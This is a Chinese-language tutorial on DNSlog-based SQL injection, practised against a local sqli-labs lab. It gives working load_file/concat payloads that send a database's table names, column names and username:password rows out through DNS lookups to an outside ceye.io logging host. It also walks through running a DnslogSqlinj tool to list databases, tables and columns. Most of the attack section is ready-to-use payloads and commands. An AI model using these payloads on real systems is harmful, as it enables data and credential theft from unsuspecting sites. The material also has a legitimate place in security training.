DNSlog注入
原理
我们无法获取数据库存储的数据,但当我们请求网址时,浏览器会将网址发给DNS服务器,通过服务器找到对应的IP地址并且数据库会把自己的数据给dns服务器,于是我们可以请求自己的网址,并在dnslog上找到我们请求的记录
直接看到
使用函数
- load_file()
关于load_file()函数的权限配置问题
- 用show variables like "secure_file_priv"查看导入导出时的目录权限
- 如果secure_file_priv是NULL说明,是不允许导入导出的
- 需要在my.ini中改成secure_file_priv=""
如果没有secure_file_priv需要自己添加,切记是在[mysqld]下的位置配置
之后,重启mysql服务就好
补充 当你发现在mysql中用load_file()构造语句,访问自己的ceye.io网址时,平台没有dnslog记录;你用curl命令构造语句,平台是可以记录的,那十有八九是load_file()函数目录权限的问题。
手工注入
获取当前数据库中的数据表
- 使用命令:
and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ndlwi5.ceye.io\\abc'))--+
命令分析
- 利用部分
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
此处是我们利用的代码位置 - 可持续获取数据
- 获取当前库中的所有表,可以在命令中的limit 0,1处改变0(起始位置)的值,来实现获取所有的表(可借助BurpSuite来实现)
- 也可以直接使用如下命令
and load_file(concat('\\\\',hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),'.ndlwi5.ceye.io\\abc'))--+
DNSlog获取的数据
将hex()编码后的数据解码
- \\abc
是为了指定一个目标,让load_file去找,找不找得到不重要,去找就行了
获取表中的列
- 使用命令:
and load_file(concat('\\\\',hex((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),'.ndlwi5.ceye.io\\abc'))--+
获取数据
- 使用命令:
and load_file(concat('\\\\',hex((select concat_ws(0x3a,id,username,password) from users limit 0,1)),'.ndlwi5.ceye.io\\abc'))--+
这样获取了user表中的第一行数据
接下来节注BurpSuite来辅助我们获取数据
使用工具
经历了上面的手工注入后,整个人是疲倦的。有没有方便的工具来帮助我们来获取数据呢?
DNSlog注入工具:https://github.com/ADOOO/DnslogSqlinj
切记需要在ceye.io平台注册账号,然后将API和http在config.py中修改成自己的
检测指定位置是否可以进行dnslog注入
- 使用命令:dnslogSql.py -u "http://127.0.0.1/sql/Less-9/?id=1" -c
结果表明存在dnslog注入,且告知payload的位置
检测数据库名称
- 使用命令:dnslogSql.py -u "http://127.0.0.1/sql/Less-9/?id=1' and ({})--+" --dbs
- 检测当前数据库名和用户名的命令是:dnslogSql.py -u "http://127.0.0.1/sql/Less-9/?id=1' and ({})--+" -inf
获取security库中的数据表名称
- 使用命令:dnslogSql.py -u "http://127.0.0.1/sql/Less-9/?id=1' and ({})--+" -D security --tables
获取security库user表中的字段名
- 使用命令:dnslogSql.py -u "http://127.0.0.1/sql/Less-9/?id=1' and ({})--+" -D security -T emails --columns
获取emails表中的字段名
感悟
回想起生活中的一件事情:公司某同事(攻击者)完成了组长(数据库)交代的任务(查询语句),但是并不知道最终的结果会是什么,但是组长的领导(DNS)是自己的舅舅,于是便问舅舅自己做的这件事最终是个什么结果,作为一家人,那自然......